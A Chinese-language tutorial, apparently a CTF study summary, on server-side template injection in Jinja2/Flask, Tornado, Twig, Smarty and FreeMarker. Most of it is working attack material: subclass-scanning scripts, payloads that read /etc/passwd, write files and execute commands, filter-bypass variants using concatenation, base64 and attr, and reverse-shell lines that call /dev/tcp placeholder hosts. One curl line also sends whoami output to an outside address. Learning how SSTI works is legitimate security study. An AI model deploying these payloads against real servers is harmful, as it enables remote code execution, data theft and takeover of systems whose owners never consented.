0x00前言

这篇SSTI模板注入已经拖到现在了,该总结一下了。

0x01 什么是模板注入

ssti,服务器端模板注入,主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数的时候,由于代码不规范或者信任了用户的输入,使得模板可控。简单来说就是,模板里面有些用户输入的东西,但是程序员在渲染模板的时候,没有检查用户输入的内容是不是都是善意的,于是就被用户恶意使用这个模板做坏事了。

0x02 基础知识

0x00 python里的内建函数

  1. 启动python解释器时,即使没有创建任何变量或函数,还是有很多函数可供使用,这就是python的内建函数

注意:``内建函数非常强大,可以调用一切函数

0x01 名称空间

python的名称空间,是从名称到对象的映射,在python程序执行的过程中,至少会存在两个名称空间。

1、内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

2、全局名称空间:在执行文件时,存放文件级别定义的名字

3、局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数自定义的名字,该名字在函数调用时生效,调用结束后失效

加载顺序:
内置名称空间—->全局名称空间—->局部名称空间

名字查找顺序:
局部名称空间—->全局名称空间—->内置名称空间

在python中,初始的builtins模块提供内建名称空间到内建对象的映射

image.png

在没有提供对象的时候,将会提供当前环境导入的所有模块,不管是哪个版本,可以看到builtins是作为默认初始模块出现的,使用dir()命令查看一下builtins
image.png
里面有很多的关键字,比如我们直接打印
image.png
因为关键字里直接print,所以可以直接使用。

0x03 类继承

python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。

常见的三种类继承方法:

1.__base__:以字符串返回一个类所直接继承的第一个类,一般情况是object

2.__mro_:获取对象的基类,只是这时会显示整个继承链的关系,是一个列表,object在最底层所以在列表的最后,通过__mro__[-1]可以获取到

3.__subclasses__():继承此对象的子类,返回一个列表

4.__init__:所有自带类都会包含init方法

_globals__
function.__globals__,用于获取function所处空间下可使用的module,方法级所有变量

SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,这便是攻击方式:

变量-->对象-->基类-->子类遍历-->全局变量

注入思路:

随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class 'object'>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell

逐渐找出我们想要的模块或者函数,然后构造payload

找可用类的通用脚本:

from flask import Flask,request
from jinja2 import Template
search = 'eval'   
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

0x04 常见的payload分析

#python2
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

先来了解一些内建属性的作用:

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__globals__ 以字典类型返回当前位置的全部全局变量

拆开看一下
1,’’. class 返回字符串类型
image.png

2,加上mro返回继承链

image.png
加上不同的下标,返回的数据不同。

3,再添加上subclasses()返回的是subject的所有子类

image.png
找到我们需要的子类,比如找到site._Printer
image.png

4,接下来添加上init用传入的参数来初始化实列,使用globals以字典返回内建模块

image.png

5,调用成功,构造自己的命令
image.png

python3需要更换自己的payload
python3的72返回的不是site._Printer,而是ContextVar类。

''.__class__.__mro__[-1].__subclasses__()[72]      //返回ContextVar类

一个一个找太麻烦

 for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)

直接打印出所有的类名

对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop(“var”),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现get和setdefault是个不错的选择

dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法getattribute

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。

0x05 web框架及模板引擎

web框架

flask
Tornado
Django

常见框架的配置文件

Tornado**:handler.settings

这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一

handler.settings-> RequestHandler.application.settings
可以获取当前application.settings,从中获取到敏感信息

[护网杯 2018]easy_tornado便考察了这个点
服务器端模板注入--SSTI注入 - 图10

flaks:内置函数**

config 是Flask模版中的一个全局对象,代表“当前配置对象(flask.config)”,是一个类字典的对象,包含了所有应用程序的配置值。在大多数情况下,包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。

  1. url_for()— 用于反向解析,生成url
  2. get_flashed_messages() — 用于获取flash消息

  3. {{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
    

如果过滤了{{config}}且框架是flask的话便可以使用如下payload进行代替

{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}


shrine**便考察了这个知识点
服务器端模板注入--SSTI注入 - 图11

0x06:python常用的命令执行方式

1.os.system()

该方法的参数就是string类型的命令,在linux上,返回值为执行命令的exit值;而windows上,返回值则是运行命令后,shell的返回值。
注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)

2.os.popen()

返回的是file read的对象,如果想获取执行命令的输出,则需要调用该对象的read()方法

0x07 常用模块的脚本

python2

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print num,item
        num+=1
    except:
        num+=1

python3

原理相同,但是python3环境变化了,例如python2下有file而python3没有,所以直接用open。
python3的利用主要索引在于builtins,找到了它便可以利用其中的eval,open等等来执行操作
#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

常见payload

python2

#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典

python3

#python3没有file,用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

常见SSTIpayload

Bypass姿势

拼接绕过

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码绕过

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(
#等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

过滤中括号[]

#使用getitem()\pop()
__mro__[2]== __mro__.__getitem__(2)
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

过滤{{或}}
使用{%进行绕过

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤_ 和引号

可以用|attr

{{()|attr(request.values.a)}}&a=class

使用request对象绕过,假设过滤了__class__,可以使用下面的形式进行替代

#1
{{''[request.args.t1]}}&t1=__class__
#若request.args改为request.values则利用post的方式进行传参
#2
{{''[request['args']['t1']]}}&t1=__class__
#若使用POST,args换成form即可

过滤.
可以使用attr()[]绕过

#attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
#[]
{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}

reload

如果reload可以用则可以重载,从而恢复内建函数

reload(__builtins__)

PHP实例分析

示例PHP代码1:

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;

这段代码明显没有什么问题,用户的输入到时候渲染的时候就是 name 的值,由于name 外面已经有

{{}}

了,也就是说,到时候显示的只是name 变量的值,就算你输入了

{{xxx}}

输出也只是

{{xxx}}

而不会将xxx 作为模板变量解析
但是有些代码就是不这么写,比如下面这段代码

示例PHP代码2:

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;

你看,现在开发者将用户的输入直接放在要渲染的字符串中了
**注意:不要把这里的

{}

当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量而已**,于是我们输入

{{xxx}}

就非常的符合模板的规则,模板引擎一高兴就给解析了,然后服务器就凉了。
这里演示的是PHP 的代码,使用的是 Twig 模板引擎,下面我们看一下 python 的 jinja2
**

2.Python 实例

实例一:

示例Python代码1:

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

这是一段经典的 flask 源码,@app.errorhandler(404) 这一部分是装饰器,用于检测404用的,和最后的 ,404呼应的,这与我们这次的测试无关
我们看到,这里本身开发者并没有打算用到什么模板语法,就是使用了一个字符串的格式化来传递一个 url ,但是你别忘了你还是用模板的方式去渲染的啊,也就是说还是支持模板引擎支持的语法,那我们为什么不能输入模板引擎的语法呢?(永远不要相信用户的输入)
于是我们就能在URL后面跟上

{{ 7*7 }}

自然而然就能计算出 49 了

实例二:

示例Python代码2:

# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

和上面一样,还是格式化字符串,读者可以自己思考并尝试

检测方法

先放波图

服务器端模板注入--SSTI注入 - 图12
还有框架模板结构图
服务器端模板注入--SSTI注入 - 图13

补充:

常用的ssti的payload

 要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。

  1. Smarty拿取webshell | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,”<?php passthru($_GET[‘cmd’]); ?>”,self::clearConfig())} | | :—- |

    2.Twig 命令执行

{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}

3.freeMarker

<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“id”) }

4.python

{% for c in [].class.base.subclasses() %}{% if c.name==’IterationGuard’ %}{{ c.init.globals[‘builtins‘][‘eval’](“_import(‘os’).popen(‘whoami’).read()”) }}{% endif %}{% endfor %}
  1. | {% for c in [].class.base.subclasses() %}{% if c.name == ‘catchwarnings’ %} {% for b in c.init.globals.values() %} {% if b.class == {}.class %} {% if ‘eval’ in b.keys() %} {{ b[‘eval’](‘_import(“os”).popen(“dir”).read()’) }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %} | | :—- |

    5.Jinjia2模板引擎通用的RCE Payload:

{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].eval(“_import(‘os’).popen(‘‘).read()”) }}{% endif %}{% endfor %}

6.python2

# 读{{ ‘’.class.mro[2].subclasses()40.read() }}# 写{{ ‘’.class.mro[2].subclasses()40.write(‘test’) }}####执行命令’’.class.mro[2].subclasses()[59].init.globals.builtins下有eval,import等的全局函数,可以利用此来执行命令:#eval’’.class.mro[2].subclasses()[59].init.globals[‘builtins‘]‘eval’.popen(‘id’).read()”)’’.class.mro[2].subclasses()[59].init.globals.builtins.eval(“import(‘os’).popen(‘id’).read()”)#import‘’.class.mro[2].subclasses()[59].init.globals.builtins.import(‘os’).popen(‘id’).read()’’.class.mro[2].subclasses()[59].init.globals[‘builtins‘]import.popen(‘id’).read()

7.python3

#命令执行:{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].eval(“import(‘os’).popen(‘id’).read()”) }}{% endif %}{% endfor %}#文件操作{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘builtins‘].open(‘filename’, ‘r’).read() }}{% endif %}{% endfor %}####在本地python中测试().class.bases[0].subclasses()[-4].init.globals‘system’().class.bases[0].subclasses()[93].init.globals[“sys”].modules[“os”].system(“ls”)’’.class.mro[1].subclasses()[104].init.globals[“sys”].modules[“os”].system(“ls”)[].class.base.subclasses()[127].init.__globals‘system’

8.添加一个flask的命令执行payload:就是拆分关键词进行绕过

{% for c in [].class.base.subclasses() %}{% if c.name == ‘catchwarnings’ %} {% for b in c.init.globals.values() %} {% if b.class == {}.class %} {% if ‘eva’+’l’ in b.keys() %} {{ b[‘eva’+’l’](‘_impor’+’t‘+’(“o’+’s”)’+’.pope’+’n’+’(“ls /“).read()’) }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}


参考链接:
【一篇文章带你理解漏洞之 SSTI 漏洞】
【服务端模板注入攻击】